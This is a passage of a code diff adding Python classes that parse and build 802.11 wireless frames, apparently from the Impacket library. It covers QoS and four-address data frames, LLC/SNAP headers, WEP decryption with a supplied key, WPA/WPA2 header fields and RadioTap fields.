+        nb = masked | ((value & 0x0FFF ) << 4 ) 
+        self.header.set_word(20, nb, "<")
+
+    def get_frame_body(self):
+        'Return 802.11 \'Data\' data frame \'Frame Body\' field'
+        
+        return self.get_body_as_string()
+
+    def set_frame_body(self, data):
+        'Set 802.11 \'Data\' data frame \'Frame Body\' field'
+        
+        self.load_body(data)
+
+class Dot11DataQoSFrame(Dot11DataFrame):
+    '802.11 Data QoS Frame'
+    
+    def __init__(self, aBuffer = None):
+        header_size = 24
+        tail_size = 0
+
+        ProtocolPacket.__init__(self, header_size, tail_size)
+        if(aBuffer):
+            self.load_packet(aBuffer)
+
+    def get_QoS(self):
+        'Return 802.11 \'Data\' data frame \'QoS\' field'
+        b = self.header.get_word(22, "<")
+        return b 
+
+    def set_QoS(self, value):
+        'Set the 802.11 \'Data\' data frame \'QoS\' field' 
+        # set the bits
+        nb = value & 0xFFFF
+        self.header.set_word(22, nb, "<")
+
+class Dot11DataAddr4Frame(Dot11DataFrame):
+    '802.11 Data With ToDS From DS Flags (With Addr 4) Frame'
+
+    def __init__(self, aBuffer = None):
+        header_size = 28
+        tail_size = 0
+
+        ProtocolPacket.__init__(self, header_size, tail_size)
+        if(aBuffer):
+            self.load_packet(aBuffer)
+    
+    def get_address4(self):
+        'Return 802.11 \'Data\' data frame 48 bit \'Address4\' field as a 6 bytes array'
+        return self.header.get_bytes()[22:28]
+        
+    def set_address4(self, value):
+        'Set 802.11 \'Data\' data frame 48 bit \'Address4\' field as a 6 bytes array'
+        for i in range(0, 6):
+            self.header.set_byte(22+i, value[i])
+
+class Dot11DataAddr4QoSFrame(Dot11DataAddr4Frame):
+    '802.11 Data With ToDS From DS Flags (With Addr 4) and QoS Frame'
+
+    def __init__(self, aBuffer = None):
+        header_size = 30
+        tail_size = 0
+
+        ProtocolPacket.__init__(self, header_size, tail_size)
+        if(aBuffer):
+            self.load_packet(aBuffer)
+    
+    def get_QoS(self):
+        'Return 802.11 \'Data\' data frame \'QoS\' field'
+        b = self.header.get_word(28, "<")
+        return b 
+
+    def set_QoS(self, value):
+        'Set the 802.11 \'Data\' data frame \'QoS\' field' 
+        # set the bits
+        nb = value & 0xFFFF
+        self.header.set_word(28, nb, "<")
+
+class SAPTypes():
+    NULL            = 0x00
+    LLC_SLMGMT      = 0x02
+    SNA_PATHCTRL    = 0x04
+    IP              = 0x06
+    SNA1            = 0x08
+    SNA2            = 0x0C
+    PROWAY_NM_INIT  = 0x0E
+    NETWARE1        = 0x10
+    OSINL1          = 0x14
+    TI              = 0x18
+    OSINL2          = 0x20
+    OSINL3          = 0x34
+    SNA3            = 0x40
+    BPDU            = 0x42
+    RS511           = 0x4E
+    OSINL4          = 0x54
+    X25             = 0x7E
+    XNS             = 0x80
+    BACNET          = 0x82
+    NESTAR          = 0x86
+    PROWAY_ASLM     = 0x8E
+    ARP             = 0x98
+    SNAP            = 0xAA
+    HPJD            = 0xB4
+    VINES1          = 0xBA
+    VINES2          = 0xBC
+    NETWARE2        = 0xE0
+    NETBIOS         = 0xF0
+    IBMNM           = 0xF4
+    HPEXT           = 0xF8
+    UB              = 0xFA
+    RPL             = 0xFC
+    OSINL5          = 0xFE
+    GLOBAL          = 0xFF
+
+class LLC(ProtocolPacket):
+    '802.2 Logical Link Control (LLC) Frame'
+    
+    DLC_UNNUMBERED_FRAMES = 0x03
+
+    def __init__(self, aBuffer = None):
+        header_size = 3
+        tail_size = 0
+
+        ProtocolPacket.__init__(self, header_size, tail_size)
+        if(aBuffer):
+            self.load_packet(aBuffer)
+
+    def get_DSAP(self):
+        "Get the Destination Service Access Point (SAP) from LLC frame"
+        return self.header.get_byte(0)
+
+    def set_DSAP(self, value):
+        "Set the Destination Service Access Point (SAP) of LLC frame"
+        self.header.set_byte(0, value)
+
+    def get_SSAP(self):
+        "Get the Source Service Access Point (SAP) from LLC frame"
+        return self.header.get_byte(1)
+
+    def set_SSAP(self, value):
+        "Set the Source Service Access Point (SAP) of LLC frame"
+        self.header.set_byte(1, value)
+    
+    def get_control(self):
+        "Get the Control field from LLC frame"
+        return self.header.get_byte(2)
+
+    def set_control(self, value):
+        "Set the Control field of LLC frame"
+        self.header.set_byte(2, value)
+
+class SNAP(ProtocolPacket):
+    '802.2 SubNetwork Access Protocol (SNAP) Frame'
+
+    def __init__(self, aBuffer = None):
+        header_size = 5
+        tail_size = 0
+
+        ProtocolPacket.__init__(self, header_size, tail_size)
+        if(aBuffer):
+            self.load_packet(aBuffer)
+
+    def get_OUI(self):
+        "Get the three-octet Organizationally Unique Identifier (OUI) SNAP frame"
+        b = array_tobytes(self.header.get_bytes()[0:3])
+        #unpack requires a string argument of length 4 and b is 3 bytes long
+        (oui,) = struct.unpack('!L', b'\x00'+b)
+        return oui
+
+    def set_OUI(self, value):
+        "Set the three-octet Organizationally Unique Identifier (OUI) SNAP frame"
+        # clear the bits
+        mask = ((~0xFFFFFF00) & 0xFF)
+        masked = self.header.get_long(0, ">") & mask
+        # set the bits 
+        nb = masked | ((value & 0x00FFFFFF) << 8)
+        self.header.set_long(0, nb)
+
+    def get_protoID(self):
+        "Get the two-octet Protocol Identifier (PID) SNAP field"
+        return self.header.get_word(3, ">")
+
+    def set_protoID(self, value):
+        "Set the two-octet Protocol Identifier (PID) SNAP field"
+        self.header.set_word(3, value, ">")
+
+class Dot11WEP(ProtocolPacket):
+    '802.11 WEP'
+
+    def __init__(self, aBuffer = None):
+        header_size = 4
+        tail_size = 0
+
+        ProtocolPacket.__init__(self, header_size, tail_size)
+        if(aBuffer):
+            self.load_packet(aBuffer)
+        
+    def is_WEP(self):
+        'Return True if it\'s a WEP'
+        # We already know that it's private.
+        # Now we must differentiate between WEP and WPA/WPA2
+        # WPA/WPA2 have the ExtIV (Bit 5) enaled and WEP disabled
+        b = self.header.get_byte(3)
+        return not (b & 0x20)
+            
+    def get_iv(self):
+        'Return the \'WEP IV\' field'
+        b = array_tobytes(self.header.get_bytes()[0:3])
+        #unpack requires a string argument of length 4 and b is 3 bytes long
+        (iv,) = struct.unpack('!L', b'\x00'+b)
+        return iv
+
+    def set_iv(self, value):
+        'Set the \'WEP IV\' field.'
+        # clear the bits
+        mask = ((~0xFFFFFF00) & 0xFF)
+        masked = self.header.get_long(0, ">") & mask
+        # set the bits 
+        nb = masked | ((value & 0x00FFFFFF) << 8)
+        self.header.set_long(0, nb)
+
+    def get_keyid(self):
+        'Return the \'WEP KEY ID\' field'
+        b = self.header.get_byte(3)
+        return ((b>>6) & 0x03)
+
+    def set_keyid(self, value):
+        'Set the \'WEP KEY ID\' field'
+        # clear the bits
+        mask = (~0xC0) & 0xFF
+        masked = self.header.get_byte(3) & mask
+        # set the bits
+        nb = masked | ((value & 0x03) << 6)
+        self.header.set_byte(3, nb)
+    
+    def get_decrypted_data(self, key_string):
+        'Return \'WEP Data\' field decrypted'
+
+        # Needs to be at least 8 bytes of payload 
+        if len(self.body_string)<8:
+            return self.body_string
+        
+        # initialize the first bytes of the key from the IV 
+        # and copy rest of the WEP key (the secret part) 
+        
+        # Convert IV to 3 bytes long string
+        iv=struct.pack('>L',self.get_iv())[-3:]
+        key=iv+key_string
+        rc4=RC4(key)
+        decrypted_data=rc4.decrypt(self.body_string)
+        
+        return decrypted_data
+    
+    def get_encrypted_data(self, key_string):
+        # RC4 is symmetric
+        return self.get_decrypted_data(key_string)
+    
+    def encrypt_frame(self, key_string):
+        enc = self.get_encrypted_data(key_string)
+        self.load_body(enc)
+    
+class Dot11WEPData(ProtocolPacket):
+    '802.11 WEP Data Part'
+
+    def __init__(self, aBuffer = None):
+        header_size = 0
+        tail_size = 4
+
+        ProtocolPacket.__init__(self, header_size, tail_size)
+        if(aBuffer):
+            self.load_packet(aBuffer)
+        
+    def get_icv(self):
+        "Return 'WEP ICV' field"
+            
+        b = self.tail.get_long(-4, ">")
+        return b 
+
+    def set_icv(self, value = None):
+        "Set 'WEP ICV' field"
+
+        # Compute the WEP ICV
+        if value is None:
+            value=self.get_computed_icv()
+
+        # set the bits
+        nb = value & 0xFFFFFFFF
+        self.tail.set_long(-4, nb)
+    
+    def get_computed_icv(self):
+        crcle=crc32(self.body_string)&0xffffffff
+        # This crc32 is in little endian, convert it to big endian 
+        crc=struct.pack('<L', crcle)
+         # Convert to long
+        (crc_long,) = struct.unpack('!L', crc)
+        return crc_long
+    
+    def check_icv(self):
+        computed_icv=self.get_computed_icv()
+        current_icv=self.get_icv()
+        if computed_icv==current_icv:
+            return True
+        else:
+            return False
+
+class Dot11WPA(ProtocolPacket):
+    '802.11 WPA'
+
+    def __init__(self, aBuffer = None):
+        header_size = 8
+        tail_size = 0
+
+        ProtocolPacket.__init__(self, header_size, tail_size)
+        if(aBuffer):
+            self.load_packet(aBuffer)
+        
+    def is_WPA(self):
+        'Return True if it\'s a WPA'
+        # Now we must differentiate between WPA and WPA2
+        # In WPA WEPSeed is set to (TSC1 | 0x20) & 0x7f.
+        b = self.get_WEPSeed() == ((self.get_TSC1() | 0x20 ) & 0x7f)
+        return (b and self.get_extIV())
+        
+    def get_keyid(self):
+        'Return the \'WPA KEY ID\' field'
+        b = self.header.get_byte(3)
+        return ((b>>6) & 0x03)
+
+    def set_keyid(self, value):
+        'Set the \'WPA KEY ID\' field'
+        # clear the bits
+        mask = (~0xC0) & 0xFF
+        masked = self.header.get_byte(3) & mask
+        # set the bits
+        nb = masked | ((value & 0x03) << 6)
+        self.header.set_byte(3, nb)
+
+    def get_decrypted_data(self):
+        'Return \'WPA Data\' field decrypted'
+        # TODO: Replace it with the decoded string
+        return self.body_string
+    
+    def get_TSC1(self):
+        'Return the \'WPA TSC1\' field'
+        b = self.header.get_byte(0)
+        return (b & 0xFF)
+    
+    def set_TSC1(self, value):
+        'Set the \'WPA TSC1\' field'
+        # set the bits
+        nb = (value & 0xFF)
+        self.header.set_byte(0, nb)
+        
+    def get_WEPSeed(self):
+        'Return the \'WPA WEPSeed\' field'
+        b = self.header.get_byte(1)
+        return (b & 0xFF)
+    
+    def set_WEPSeed(self, value):
+        'Set the \'WPA WEPSeed\' field'
+        # set the bits
+        nb = (value & 0xFF)
+        self.header.set_byte(1, nb)
+
+    def get_TSC0(self):
+        'Return the \'WPA TSC0\' field'
+        b = self.header.get_byte(2)
+        return (b & 0xFF)
+    
+    def set_TSC0(self, value):
+        'Set the \'WPA TSC0\' field'
+        # set the bits
+        nb = (value & 0xFF)
+        self.header.set_byte(2, nb)
+
+    def get_extIV(self):
+        'Return the \'WPA extID\' field'
+        b = self.header.get_byte(3)
+        return ((b>>5) & 0x1)
+
+    def set_extIV(self, value):
+        'Set the \'WPA extID\' field'
+        # clear the bits
+        mask = (~0x20) & 0xFF
+        masked = self.header.get_byte(3) & mask
+        # set the bits
+        nb = masked | ((value & 0x01) << 5)
+        self.header.set_byte(3, nb)
+        
+    def get_TSC2(self):
+        'Return the \'WPA TSC2\' field'
+        b = self.header.get_byte(4)
+        return (b & 0xFF)
+    
+    def set_TSC2(self, value):
+        'Set the \'WPA TSC2\' field'
+        # set the bits
+        nb = (value & 0xFF)
+        self.header.set_byte(4, nb)
+
+    def get_TSC3(self):
+        'Return the \'WPA TSC3\' field'
+        b = self.header.get_byte(5)
+        return (b & 0xFF)
+    
+    def set_TSC3(self, value):
+        'Set the \'WPA TSC3\' field'
+        # set the bits
+        nb = (value & 0xFF)
+        self.header.set_byte(5, nb)
+
+    def get_TSC4(self):
+        'Return the \'WPA TSC4\' field'
+        b = self.header.get_byte(6)
+        return (b & 0xFF)
+    
+    def set_TSC4(self, value):
+        'Set the \'WPA TSC4\' field'
+        # set the bits
+        nb = (value & 0xFF)
+        self.header.set_byte(6, nb)
+
+    def get_TSC5(self):
+        'Return the \'WPA TSC5\' field'
+        b = self.header.get_byte(7)
+        return (b & 0xFF)
+    
+    def set_TSC5(self, value):
+        'Set the \'WPA TSC5\' field'
+        # set the bits
+        nb = (value & 0xFF)
+        self.header.set_byte(7, nb)
+
+class Dot11WPAData(ProtocolPacket):
+    '802.11 WPA Data Part'
+
+    def __init__(self, aBuffer = None):
+        header_size = 0
+        tail_size = 12
+
+        ProtocolPacket.__init__(self, header_size, tail_size)
+        if(aBuffer):
+            self.load_packet(aBuffer)
+        
+    def get_icv(self):
+        "Return 'WPA ICV' field"
+            
+        b = self.tail.get_long(-4, ">")
+        return b 
+
+    def set_icv(self, value = None):
+        "Set 'WPA ICV' field"
+
+        # calculate the FCS
+        if value is None:
+            value=self.compute_checksum(self.body_string)
+
+        # set the bits
+        nb = value & 0xFFFFFFFF
+        self.tail.set_long(-4, nb)
+    
+    def get_MIC(self):
+        'Return the \'WPA2Data MIC\' field'
+        return self.get_tail_as_string()[:8]
+
+    def set_MIC(self, value):
+        'Set the \'WPA2Data MIC\' field'
+        #Padding to 8 bytes with 0x00's 
+        value.ljust(8,b'\x00')
+        #Stripping to 8 bytes
+        value=value[:8]
+        icv=self.tail.get_buffer_as_string()[-4:] 
+        self.tail.set_bytes_from_string(value+icv)
+        
+class Dot11WPA2(ProtocolPacket):
+    '802.11 WPA2'
+
+    def __init__(self, aBuffer = None):
+        header_size = 8
+        tail_size = 0
+
+        ProtocolPacket.__init__(self, header_size, tail_size)
+        if(aBuffer):
+            self.load_packet(aBuffer)
+        
+    def is_WPA2(self):
+        'Return True if it\'s a WPA2'
+        # Now we must differentiate between WPA and WPA2
+        # In WPA WEPSeed is set to (TSC1 | 0x20) & 0x7f.
+        # In WPA2 WEPSeed=PN1 and TSC1=PN0
+        b = self.get_PN1() == ((self.get_PN0() | 0x20 ) & 0x7f)
+        return (not b and self.get_extIV())
+
+    def get_extIV(self):
+        'Return the \'WPA2 extID\' field'
+        b = self.header.get_byte(3)
+        return ((b>>5) & 0x1)
+    
+    def set_extIV(self, value):
+        'Set the \'WPA2 extID\' field'
+        # clear the bits
+        mask = (~0x20) & 0xFF
+        masked = self.header.get_byte(3) & mask
+        # set the bits
+        nb = masked | ((value & 0x01) << 5)
+        self.header.set_byte(3, nb)
+        
+    def get_keyid(self):
+        'Return the \'WPA2 KEY ID\' field'
+        b = self.header.get_byte(3)
+        return ((b>>6) & 0x03)
+
+    def set_keyid(self, value):
+        'Set the \'WPA2 KEY ID\' field'
+        # clear the bits
+        mask = (~0xC0) & 0xFF
+        masked = self.header.get_byte(3) & mask
+        # set the bits
+        nb = masked | ((value & 0x03) << 6)
+        self.header.set_byte(3, nb)
+
+    def get_decrypted_data(self):
+        'Return \'WPA2 Data\' field decrypted'
+        # TODO: Replace it with the decoded string
+        return self.body_string
+    
+    def get_PN0(self):
+        'Return the \'WPA2 PN0\' field'
+        b = self.header.get_byte(0)
+        return (b & 0xFF)
+    
+    def set_PN0(self, value):
+        'Set the \'WPA2 PN0\' field'
+        # set the bits
+        nb = (value & 0xFF)
+        self.header.set_byte(0, nb)
+        
+    def get_PN1(self):
+        'Return the \'WPA2 PN1\' field'
+        b = self.header.get_byte(1)
+        return (b & 0xFF)
+    
+    def set_PN1(self, value):
+        'Set the \'WPA2 PN1\' field'
+        # set the bits
+        nb = (value & 0xFF)
+        self.header.set_byte(1, nb)
+
+    def get_PN2(self):
+        'Return the \'WPA2 PN2\' field'
+        b = self.header.get_byte(4)
+        return (b & 0xFF)
+    
+    def set_PN2(self, value):
+        'Set the \'WPA2 PN2\' field'
+        # set the bits
+        nb = (value & 0xFF)
+        self.header.set_byte(4, nb)
+
+    def get_PN3(self):
+        'Return the \'WPA2 PN3\' field'
+        b = self.header.get_byte(5)
+        return (b & 0xFF)
+    
+    def set_PN3(self, value):
+        'Set the \'WPA2 PN3\' field'
+        # set the bits
+        nb = (value & 0xFF)
+        self.header.set_byte(5, nb)
+
+    def get_PN4(self):
+        'Return the \'WPA2 PN4\' field'
+        b = self.header.get_byte(6)
+        return (b & 0xFF)
+    
+    def set_PN4(self, value):
+        'Set the \'WPA2 PN4\' field'
+        # set the bits
+        nb = (value & 0xFF)
+        self.header.set_byte(6, nb)
+
+    def get_PN5(self):
+        'Return the \'WPA2 PN5\' field'
+        b = self.header.get_byte(7)
+        return (b & 0xFF)
+    
+    def set_PN5(self, value):
+        'Set the \'WPA2 PN5\' field'
+        # set the bits
+        nb = (value & 0xFF)
+        self.header.set_byte(7, nb)
+
+class Dot11WPA2Data(ProtocolPacket):
+    '802.11 WPA2 Data Part'
+
+    def __init__(self, aBuffer = None):
+        header_size = 0
+        tail_size = 8
+
+        ProtocolPacket.__init__(self, header_size, tail_size)
+        if(aBuffer):
+            self.load_packet(aBuffer)
+            
+    def get_MIC(self):
+        'Return the \'WPA2Data MIC\' field'
+        return self.get_tail_as_string()
+
+    def set_MIC(self, value):
+        'Set the \'WPA2Data MIC\' field'
+        #Padding to 8 bytes with 0x00's 
+        value.ljust(8,b'\x00')
+        #Stripping to 8 bytes
+        value=value[:8]
+        self.tail.set_bytes_from_string(value)
+
+class RadioTap(ProtocolPacket):
+    __HEADER_BASE_SIZE = 8  # minimal header size
+    _PRESENT_FLAGS_SIZE = 4
+    _BASE_PRESENT_FLAGS_OFFSET = 4
+
+    class __RadioTapField(object):
+        ALIGNMENT = 1
+
+        def __str__( self ):
+            return str( self.__class__.__name__ )
+
+    class RTF_TSFT(__RadioTapField):
+        BIT_NUMBER = 0
+        STRUCTURE = "<Q"
+        ALIGNMENT = 8
+
+    class RTF_FLAGS(__RadioTapField):
+        BIT_NUMBER = 1
+        STRUCTURE = "<B"
+
+        # https://web.archive.org/web/20160423125307/www.radiotap.org/defined-fields/Flags
+        PROPERTY_CFP            = 0x01 #sent/received during CFP
+        PROPERTY_SHORTPREAMBLE  = 0x02 #sent/received with short preamble
+        PROPERTY_WEP            = 0x04 #sent/received with WEP encryption
+        PROPERTY_FRAGMENTATION  = 0x08 #sent/received with fragmentation
+        PROPERTY_FCS_AT_END     = 0x10 #frame includes FCS
+        PROPERTY_PAYLOAD_PADDING= 0x20 #frame has padding between 802.11 header and payload (to 32-bit boundary)
+        PROPERTY_BAD_FCS        = 0x40 #does not pass FCS check
+        PROPERTY_SHORT_GI       = 0x80 #frame used short guard interval (HT). Unspecified but used:
+
+    class RTF_RATE(__RadioTapField):
+        BIT_NUMBER = 2
+        STRUCTURE = "<B"
+
+    class RTF_CHANNEL(__RadioTapField):
+        BIT_NUMBER = 3
+        STRUCTURE = "<HH"
+        ALIGNMENT = 2
+
+    class RTF_FHSS(__RadioTapField):
+        BIT_NUMBER = 4
+        STRUCTURE = "<BB"
+
+    class RTF_DBM_ANTSIGNAL(__RadioTapField):
+        BIT_NUMBER = 5
+        STRUCTURE = "<B"
+
+    class RTF_DBM_ANTNOISE(__RadioTapField):
+        BIT_NUMBER = 6
+        STRUCTURE = "<B"
+
+    class RTF_LOCK_QUALITY(__RadioTapField):
+        BIT_NUMBER = 7
+        STRUCTURE = "<H"
+        ALIGNMENT = 2
+
+    class RTF_TX_ATTENUATION(__RadioTapField):
+        BIT_NUMBER = 8
+        STRUCTURE = "<H"
+        ALIGNMENT = 2
+
+    class RTF_DB_TX_ATTENUATION(__RadioTapField):
+        BIT_NUMBER = 9
+        STRUCTURE = "<H"
+        ALIGNMENT = 2
+
+    class RTF_DBM_TX_POWER(__RadioTapField):
+        BIT_NUMBER = 10
+        STRUCTURE = "<b"
+        ALIGNMENT = 2
+
+    class RTF_ANTENNA(__RadioTapField):
+        BIT_NUMBER = 11
+        STRUCTURE = "<B"
+
+    class RTF_DB_ANTSIGNAL(__RadioTapField):
+        BIT_NUMBER = 12
+        STRUCTURE = "<B"
+
+    class RTF_DB_ANTNOISE(__RadioTapField):
+        BIT_NUMBER = 13
+        STRUCTURE = "<B"
+
+##    # official assignment, clashes with RTF_FCS_IN_HEADER
+##    class RTF_RX_FLAGS(__RadioTapField):
+##        BIT_NUMBER = 14
+##        STRUCTURE = "<H"
+##        ALIGNMENT = 2
+
+    # clashes with RTF_RX_FLAGS
+    class RTF_FCS_IN_HEADER(__RadioTapField):
+        BIT_NUMBER = 14
+        STRUCTURE = "<L"
+        ALIGNMENT = 4   
+
+    # clashes with HARDWARE_QUEUE
+    class RTF_TX_FLAGS(__RadioTapField):
+        BIT_NUMBER = 15
+        STRUCTURE = "<H"
+        ALIGNMENT = 2
+
+##    # clashes with TX_FLAGS
+##    class RTF_HARDWARE_QUEUE(__RadioTapField):
+##        BIT_NUMBER = 15
+##        STRUCTURE = "<B"
+##        ALIGNMENT = 1
+
+    # clashes with RSSI
+    class RTF_RTS_RETRIES(__RadioTapField):
+        BIT_NUMBER = 16
+        STRUCTURE = "<B"
+
+##    # clashes with RTS_RETRIES 
+##    class RTF_RSSI(__RadioTapField):
+##        BIT_NUMBER = 16
+##        STRUCTURE = "<H"
+##        ALIGNMENT = 1
+
+    class RTF_DATA_RETRIES(__RadioTapField):
+        BIT_NUMBER = 17
+        STRUCTURE = "<B"
+
+    class RTF_XCHANNEL(__RadioTapField):
+        BIT_NUMBER = 18
+        STRUCTURE = "<LHBB"
+        ALIGNMENT = 4
+
+    class RTF_EXT(__RadioTapField):
+        BIT_NUMBER = 31
+        STRUCTURE = []
+    
+    # Sort the list so the 'for' statement walk the list in the right order
+    radiotap_fields = __RadioTapField.__subclasses__()
+    radiotap_fields.sort(key= lambda x: x.BIT_NUMBER)
+
+    def __init__(self, aBuffer = None):
+        header_size = self.__HEADER_BASE_SIZE 
+        tail_size = 0
+        
+        if aBuffer:
+            length = struct.unpack('<H', aBuffer[2:4])[0]
+            header_size=length
+                    
+            ProtocolPacket.__init__(self, header_size, tail_size)
+            self.load_packet(aBuffer)
+        else:
+            ProtocolPacket.__init__(self, header_size, tail_size)
+            self.set_version(0)
+            self.__set_present(0x00000000)
+            
+    def get_header_length(self):
+        'Return the RadioTap header \'length\' field'
+        self.__update_header_length()        
+        return self.header.get_word(2, "<")
+            
+    def get_version(self):
+        'Return the \'version\' field'
+        b = self.header.get_byte(0)
+        return b
+    
+    def set_version(self, value):
+        'Set the \'version\' field'
+        nb = (value & 0xFF)
+        self.header.set_byte(0, nb)
+        
+        nb = (value & 0xFF)
+        
+    def get_present(self, offset=_BASE_PRESENT_FLAGS_OFFSET):
+        "Return RadioTap present bitmap field"
+        present = self.header.get_long(offset, "<")
+        return present
+
+    def __set_present(self, value):
+        "Set RadioTap present field bit"
+        self.header.set_long(4, value)
+
+    def get_present_bit(self, field, offset=4):
+        'Get a \'present\' field bit'
+        present=self.get_present(offset)
+        return not not (2**field.BIT_NUMBER & present)
+
+    def __set_present_bit(self, field):
+        'Set a \'present\' field bit'
+        npresent=2**field.BIT_NUMBER | self.get_present()
+        self.header.set_long(4, npresent,'<')
+
+    def __unset_present_bit(self, field):
+        'Unset a \'present\' field bit'
+        npresent=~(2**field.BIT_NUMBER) & self.get_present()
+        self.header.set_long(4, npresent,'<')
+        
+    def __align(self, val, align):
+        return ( (((val) + ((align) - 1)) & ~((align) - 1)) - val )
+
+    def __get_field_position(self, field):
+
+        offset = RadioTap._BASE_PRESENT_FLAGS_OFFSET
+        extra_present_flags_count = 0
+        while self.get_present_bit(RadioTap.RTF_EXT, offset):
+            offset += RadioTap._PRESENT_FLAGS_SIZE
+            extra_present_flags_count += 1
+
+        field_position = self.__HEADER_BASE_SIZE + (RadioTap._BASE_PRESENT_FLAGS_OFFSET * extra_present_flags_count)
+
+        for f in self.radiotap_fields:
+            field_position += self.__align(field_position, f.ALIGNMENT)
+            if f == field:
+                return field_position
+
+            if self.get_present_bit(f):
+                total_length = struct.calcsize(f.STRUCTURE)
+                field_position += total_length
+
+        return None
+
+    def unset_field( self, field):
+        is_present=self.get_present_bit(field)
+        if is_present is False:
+            return False
+                
+        byte_pos=self.__get_field_position(field)
+        if not byte_pos:
+            return False
+
+        self.__unset_present_bit(field)
+
+        header=self.get_header_as_string()
+        total_length = struct.calcsize(field.STRUCTURE)
+        header=header[:byte_pos]+header[byte_pos+total_length:]
+        
+        self.load_header(header)
+
+    def __get_field_values( self, field ):
+        is_present=self.get_present_bit(field)
+        if is_present is False:
+            return None
+        
+        byte_pos=self.__get_field_position(field)
+        header=self.get_header_as_string()
+        total_length=struct.calcsize(field.STRUCTURE)
+        v=header[ byte_pos:byte_pos+total_length ]
+        
+        field_values = struct.unpack(field.STRUCTURE, v)
+        
+        return field_values
+
+    def __set_field_values( self, field, values ):
+        if not hasattr(values,'__iter__'):
+            raise Exception("arg 'values' is not iterable")
+        
+        # It's for to known the qty of argument of a structure
+        num_fields=len(''.join(c for c in field.STRUCTURE if c not in '=@!<>'))
+
+        if len(values)!=num_fields:
+            raise Exception("Field %s has exactly %d items"%(str(field),struct.calcsize(field.STRUCTURE)))
+        
+        is_present=self.get_present_bit(field)
+        if is_present is False:
+            self.__set_present_bit(field)
+        
+        byte_pos=self.__get_field_position(field)
+        header=self.get_header_as_string()
+        total_length=struct.calcsize(field.STRUCTURE)
+
+        new_str = struct.pack(field.STRUCTURE, *values)
+
+        if is_present is True:
+            header=header[:byte_pos]+new_str+header[byte_pos+total_length:]
+        else:
+            header=header[:byte_pos]+new_str+header[byte_pos:]
+        self.load_header(header)
+
+            
+    def set_tsft( self, nvalue ):
+        "Set the Value in microseconds of the MAC's 64-bit 802.11 "\
+        "Time Synchronization Function timer when the first bit of "\
+        "the MPDU arrived at the MAC"
+        self.__set_field_values(RadioTap.RTF_TSFT, [nvalue])
+        
+    def get_tsft( self ):
+        "Get the Value in microseconds of the MAC's 64-bit 802.11 "\
+        "Time Synchronization Function timer when the first bit of "\
+        "the MPDU arrived at the MAC"
+        
+        values=self.__get_field_values(RadioTap.RTF_TSFT)
+        if not values:
+            return None
+        return values[0]
+
+    def set_flags( self, nvalue ):
+        "Set the properties of transmitted and received frames."
+        self.__set_field_values(self.RTF_FLAGS, [nvalue])
+   
+    def get_flags( self ):
+        "Get the properties of transmitted and received frames."
+        values=self.__get_field_values(self.RTF_FLAGS)
+        if not values:
+            return None
+        return values[0]
+   
+    def set_rate( self, nvalue ):
+        "Set the TX/RX data rate in 500 Kbps units" 
+        
+        self.__set_field_values(self.RTF_RATE, [nvalue])
+   
+    def get_rate( self ):
+        "Get the TX/RX data rate in 500 Kbps units" 
+
+        values=self.__get_field_values(self.RTF_RATE)
+        if not values:
+            return None
+        return values[0]
+
+    def set_channel( self, freq, flags ):
+        "Set the channel Tx/Rx frequency in MHz and the channel flags" 
+
+        self.__set_field_values(self.RTF_CHANNEL, [freq, flags])
+   
+    def get_channel( self ):
+        "Get the TX/RX data rate in 500 Kbps units" 
+
+        values=self.__get_field_values(self.RTF_CHANNEL)
+
+        return values
+
+    def set_FHSS( self, hop_set, hop_pattern ):
+        "Set the hop set and pattern for frequency-hopping radios" 
+
+        self.__set_field_values(self.RTF_FHSS, [hop_set, hop_pattern])
+   
+    def get_FHSS( self ):
+        "Get the hop set and pattern for frequency-hopping radios" 
+
+        values=self.__get_field_values(self.RTF_FHSS)
+
+        return values
+
+    def set_dBm_ant_signal( self, signal ):
+        "Set the RF signal power at the antenna, decibel difference from an "\
+        "arbitrary, fixed reference." 
+
+        self.__set_field_values(self.RTF_DBM_ANTSIGNAL, [signal])
+   
+    def get_dBm_ant_signal( self ):
+        "Get the RF signal power at the antenna, decibel difference from an "\
+        "arbitrary, fixed reference." 
+
+        values=self.__get_field_values(self.RTF_DBM_ANTSIGNAL)
+        if not values:
+            return None
+        return values[0]
+
+    def set_dBm_ant_noise( self, signal ):
+        "Set the RF noise power at the antenna, decibel difference from an "\
+        "arbitrary, fixed reference."
+
+        self.__set_field_values(self.RTF_DBM_ANTNOISE, [signal])
+   
+    def get_dBm_ant_noise( self ):
+        "Get the RF noise power at the antenna, decibel difference from an "\
+        "arbitrary, fixed reference."
+
+        values=self.__get_field_values(self.RTF_DBM_ANTNOISE)
+        if not values:
+            return None
+        return values[0]
+
+    def set_lock_quality( self, quality ):
+        "Set the quality of Barker code lock. "\
+        "Called 'Signal Quality' in datasheets. "
+
+        self.__set_field_values(self.RTF_LOCK_QUALITY, [quality])
+   
+    def get_lock_quality( self ):
+        "Get the quality of Barker code lock. "\
+        "Called 'Signal Quality' in datasheets. "
+        
+        values=self.__get_field_values(self.RTF_LOCK_QUALITY)
+        if not values:
+            return None
+        return values[0]
+
+    def set_tx_attenuation( self, power ):
+        "Set the transmit power expressed as unitless distance from max power "\
+        "set at factory calibration. 0 is max power."
+
+        self.__set_field_values(self.RTF_TX_ATTENUATION, [power])
+   
+    def get_tx_attenuation( self ):
+        "Set the transmit power expressed as unitless distance from max power "\
+        "set at factory calibration. 0 is max power."
+        
+        values=self.__get_field_values(self.RTF_TX_ATTENUATION)
+        if not values:
+            return None
+        return values[0]
+
+    def set_dB_tx_attenuation( self, power ):
+        "Set the transmit power expressed as decibel distance from max power "\
+        "set at factory calibration. 0 is max power. "
+
+        self.__set_field_values(self.RTF_DB_TX_ATTENUATION, [power])
+   
+    def get_dB_tx_attenuation( self ):
+        "Set the transmit power expressed as decibel distance from max power "\
+        "set at factory calibration. 0 is max power. "
+        
+        values=self.__get_field_values(self.RTF_DB_TX_ATTENUATION)
+        if not values:
+            return None
+        return values[0]
+
+    def set_dBm_tx_power( self, power ):
+        "Set the transmit power expressed as dBm (decibels from a 1 milliwatt"\
+        " reference). This is the absolute power level measured at the "\
+        "antenna port."
+        
+        self.__set_field_values(self.RTF_DBM_TX_POWER, [power])
+   
+    def get_dBm_tx_power( self ):
+        "Get the transmit power expressed as dBm (decibels from a 1 milliwatt"\
+        " reference). This is the absolute power level measured at the "\
+        "antenna port."
+        
+        values=self.__get_field_values(self.RTF_DBM_TX_POWER)
+        if not values:
+            return None
+        return values[0]
+
+    def set_antenna( self, antenna_index ):
+        "Set Rx/Tx antenna index for this packet. "\
+        "The first antenna is antenna 0. "\
+        
+        self.__set_field_values(self.RTF_ANTENNA, [antenna_index])
+   
